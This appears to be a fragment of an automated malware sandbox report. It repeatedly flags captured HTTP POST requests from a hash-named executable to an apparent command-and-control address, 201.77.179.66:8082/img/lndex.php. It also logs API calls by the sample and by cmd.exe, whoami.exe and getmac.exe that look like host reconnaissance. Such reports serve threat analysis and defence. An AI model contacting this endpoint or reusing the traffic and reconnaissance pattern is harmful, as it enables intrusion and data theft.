boundary=4a23f9eb-3951-475b-affd-ef2a748b4132Accept-Encoding: gzip,deflate" Contains base64 string in header "475b" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4a23f9eb-3951-475b-affd-ef2a748b4132Accept-Encoding: gzip,deflate" Contains base64 string in header "affd" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4a23f9eb-3951-475b-affd-ef2a748b4132Accept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4a23f9eb-3951-475b-affd-ef2a748b4132Accept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4a23f9eb-3951-475b-affd-ef2a748b4132Accept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "030e49ac" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "a871" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "4741" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "9b32" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=030e49ac-a871-4741-9b32-15634e5717ebAccept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "b3902102" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "9277" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "4767" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "bb26" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=b3902102-9277-4767-bb26-9f834173048dAccept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "dbec2917" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "55d5" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "4bb2" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "9d16" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=dbec2917-55d5-4bb2-9d16-ca1c3fcd5004Accept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "3bbbff9e" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "9ae9" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "4f69" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "a013" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3bbbff9e-9ae9-4f69-a013-b14ce5bf1029Accept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "7a4c39db" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "760c" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "479c" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "b11a" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7a4c39db-760c-479c-b11a-670871ac736aAccept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "54e59d41" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "1f34" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "4fdb" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "9f01" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=54e59d41-1f34-4fdb-9f01-f5616efa8c55Accept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "d9cc8682" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "a6c8" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "45e2" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "92f2" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 358Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=d9cc8682-a6c8-45e2-92f2-103cce51b174Accept-Encoding: gzip,deflate" Contains base64 string in header "POST" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "Keep" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "AliveContent" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "Type" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "data" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "405bd84d" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "b6e5" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "4ec8" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "bab2" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "Encoding" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate" Contains base64 string in header "gzip" in header "POST /img/lndex.php HTTP/1.1User-Agent: dlang-requestsContent-Length: 342Host: 201.77.179.66:8082Connection: Keep-AliveContent-Type: multipart/form-data; boundary=405bd84d-b6e5-4ec8-bab2-d48c1d87e0dbAccept-Encoding: gzip,deflate"2b:Tf30,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000308) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006344) "whoami.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004116) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006676) "getmac.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003540)2c:Tfdc,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000308) "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" called "LoadLibrary" with a parameter dbghelp.dll 